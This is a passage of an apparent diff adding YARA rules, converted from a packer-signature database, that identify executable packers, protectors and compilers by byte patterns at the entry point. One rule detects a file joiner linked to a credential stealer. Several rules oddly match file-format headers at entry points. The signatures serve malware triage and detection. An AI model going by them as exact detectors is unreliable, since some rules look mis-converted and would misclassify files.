+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_10__ackanoid_
+{
+	meta:
+		description = "Packanoid 1.0 -> ackanoid"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+		$1 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Enigma_Protector_112__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma Protector 1.12 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB 04 ?? ?? ?? ?? B8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 44 1A}
+		$1 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB 04}
+		$2 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB}
+		$3 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB 04 ?? ?? ?? ?? B8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 44 1A}
+		$4 = {60 E8 00 00 00 00 5D 83 C5 FA 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 or $4
+}
+rule _SDProtector_11x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.1x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_200_2_
+{
+	meta:
+		description = "Zortech C 2.00 (2)"
+	strings:
+		$0 = {FC BE 00 01 B9 FB 02 8B 3E F9 03 57 03 F9 81 C7 00 01 57 F3 A4 5F 81 C7 35 00 FF E7 BE FB 03 59 BF 00 01 57 F3 A4 C3 9C 50 51 52 56 57 55 1E FC 2E C7 06 00 00 FF FF 2E C7 06 06 00 12 00 8C C8 3D 00 A0 72 10 8E D8 BA CD 02 0E 1F B4 09 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v122_
+{
+	meta:
+		description = "PECompact v1.22"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Fish_PE_Shield_101__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.01 -> HellFish"
+	strings:
+		$0 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+		$2 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+		$3 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+		$4 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint or $4
+}
+rule _Trap_119_EXE_
+{
+	meta:
+		description = "Trap 1.19 [EXE]"
+	strings:
+		$0 = {8C D0 BB 99 CB 8E D3 33 D2 8E D0 B9 7D 04 EB 04 90 EA CD 20 E2 F8 33 D2 E5 21 50 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0F 90 90 83 C1 FE 83 C2 01 EB EB FA EB FE EA F0 FA B8 FE 00 E7 21 58 E7 21 66 8C E3 66 B8 00 00 01 00 8E E0 66 8C E0 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_
+{
+	meta:
+		description = "mucki's protector"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_10X__Sukhov_Vladimir_
+{
+	meta:
+		description = "Enigma Protector 1.0X -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 EB 02 ?? ?? 60 E8 24 00 00 00 00 00 ?? EB 02 ?? ?? 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+		$1 = {60 E8 00 00 00 00 5D 83 ?? ?? 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 EB 02 ?? ?? 60 E8 24 00 00 00 00 00 ?? EB 02 ?? ?? 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 ?? ?? 89 C4 61 EB 2E ?? ?? ?? ?? ?? ?? ?? EB 01 ?? 31 C0 EB 01 ?? 64 FF 30 EB 01 ?? 64 89 20 EB 02 ?? ?? 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 ?? 58 61 EB 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECompact_v099__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v0.99 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1354__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.5.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2D 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Component_
+{
+	meta:
+		description = "Borland Component"
+	strings:
+		$0 = {E9 ?? ?? FE FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12x_
+{
+	meta:
+		description = "ASProtect v1.2x"
+	strings:
+		$0 = {00 00 68 01 ?? ?? ?? C3 AA}
+		$1 = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+		$2 = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+		$3 = {00 00 68 01 ?? ?? ?? C3 AA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _PEProt_09_
+{
+	meta:
+		description = "PE-Prot 0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 00 00 00 00 58 83 C0 07 C6 00 C3 EA E8 00 00 00 00 5D 8B D5 81 ED 68 45 40 00 60 8D 9D AC 45 40 00 B9 1D 03 00 00 B2 00 33 C0 02 03 D2 0B E8 0B 00 00 00 0F 21 C7 28 13 EB 02 9A EA 80 33 C3 43}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLite_113_COM_
+{
+	meta:
+		description = "PKLite 1.13 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0D 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_vxx_
+{
+	meta:
+		description = "Thinstall vx.x"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_061_COM_
+{
+	meta:
+		description = "aPack 0.61 [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 8B 01 BF 00 01 50 57 FC B6 01 BD 6C 01 FF D5 73 4C FF D5 73 18 FF D5 73 2A BB 83 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 43 B1 01 EB 26 E8 3B 00 49 49 AC 8A E1 93 E8 32 00 83 FB 40 73 15 83 C1 04 EB 10 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Cpp_199092_
+{
+	meta:
+		description = "Microsoft C++ (1990/92)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 05 33 C0 06 50 CB BF 00 00 8B 36 02 00 2B F7 81 FE 00 10 72 03 BE 00 10 FA 8E D7 81 C4 00 00 FB 73 00 16 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 DLL"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+		$2 = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+		$3 = {55 8B EC ?? ?? 0C 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PEtite_v20_
+{
+	meta:
+		description = "PEtite v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+		$1 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Windows_Update_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft Windows Update CAB SFX module"
+	strings:
+		$0 = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+		$1 = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 8B 55 20 89 50 1C 8B 55 24 89 50 20 8B 55 28 89 48 48 89 48 44 89 48 4C B9 FF FF 00 00 89 70 08 89 10 66 C7 80 B2 00 00 00 0F 00 89 88 A0 00 00 00 89 88 A8 00 00 00 89 88 A4 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPolyX__delikon_
+{
+	meta:
+		description = "UPolyX -> delikon"
+	strings:
+		$0 = {FF 96 ?? ?? ?? 00 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_beta_3_
+{
+	meta:
+		description = "SPEC beta 3"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 00 00 00 00 5D 8B C5 81 ED 41 24 40 00 2B 85 89 26 40 00 83 E8 0B 89 85 8D 26 40 00 0F B6 B5 91 26 40 00 8B FD 8B 9D 8D 26 40 00 8B 87 96 26 40 00 03 D8 8B 8F 9A 26 40 00 8A 85 7C 26 40 00 00 03 FE C0 43 E2 F9 83 C7 08}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_152__164_
+{
+	meta:
+		description = "XPack 1.52 - 1.64"
+	strings:
+		$0 = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+		$1 = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_v10___
+{
+	meta:
+		description = "½ÌÖ÷EXEÎļþÀ¦°óÆ÷ v1.0 -> ½ÌÖ÷"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _XoReR_21_
+{
+	meta:
+		description = "XoReR 2.1"
+	strings:
+		$0 = {BA 00 00 B9 48 20 51 B0 F5 E6 60 FA B4 30 CD 21 3C 02 73 05 33 C0 06 50 CB BF 00 00 8B 36 02 00 59 E2 E3 BB 00 00 90 FC 33 C0 80 EF 9D 81 FB 00 00 74 03 43 2A 17 30 15 47 40 FE C2 86 D6 02 D6 3D 81 01 75 E8 FB 27 EB 13 31 69 AA 78 DF E2 C6}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v27__Exeshield_Corp_
+{
+	meta:
+		description = "EXE Shield v2.7 -> Exeshield Corp."
+	strings:
+		$0 = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_021_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.21 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCue_4992__Bloodshed_Software_
+{
+	meta:
+		description = "Dev-Cue 4.9.9.2 -> Bloodshed Software"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 -> Laszlo & Markus"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _IDA_Interactive_Disassembler_database_
+{
+	meta:
+		description = "IDA (Interactive Disassembler) database"
+	strings:
+		$0 = {49 44 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V230V23X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V2.30-V2.3X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Amiga_AIFF_8SFX_Audio_file_
+{
+	meta:
+		description = "Amiga AIFF 8SFX Audio file"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_01__Teraphy__Phrozen_Crew_
+{
+	meta:
+		description = "PE Diminisher 0.1 -> Teraphy / Phrozen Crew"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard_v20065xx_exe_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.exe)"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+		$1 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_v274__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.74 -> WebToolMaster"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V101__MATCODE_Software____20080730_
+{
+	meta:
+		description = "MPRESS V1.01 -> MATCODE Software   * 20080730"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 ?? ?? ?? ?? 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 8B D6 8B CF E8 56 00 00 00 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 8D FF FF FF B0 E9 AA B8 B2 02 00 00 AB E8 00 00 00 00 58 05 34 02 00 00 E9 24 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ADEX_Graphics_format_
+{
+	meta:
+		description = "ADEX Graphics format"
+	strings:
+		$0 = {50 49 43 54 00 08 ?? 02}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V120V121_BasicEdition_Stub__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20-V1.21 (BasicEdition Stub) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0
+}
+rule _Symantec_WinFax_PRO_83_Coverpage_
+{
+	meta:
+		description = "Symantec WinFax PRO 8.3 Coverpage"
+	strings:
+		$0 = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+		$1 = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 6C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _vfpexeNc_v600__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc v6.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Joiner_sign_from_pinch_25032007_2010_
+{
+	meta:
+		description = "Joiner (sign from pinch 25.03.2007 20:10)"
+	strings:
+		$0 = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+		$1 = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_42_EXE__1_
+{
+	meta:
+		description = "Visual C++ 4.2 (EXE - 1)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 00 00 00 68 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 00 53 56 57 89 65 E8 C7 45 FC 00 00 00 00 6A 00 FF 15 00 00 00 00 83 C4 04 C7 05 00 00 00 00 FF FF FF FF A1 00 00 00 00 A3 00 00 00 00 FF 15 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v099_
+{
+	meta:
+		description = "PECompact v0.99"
+	strings:
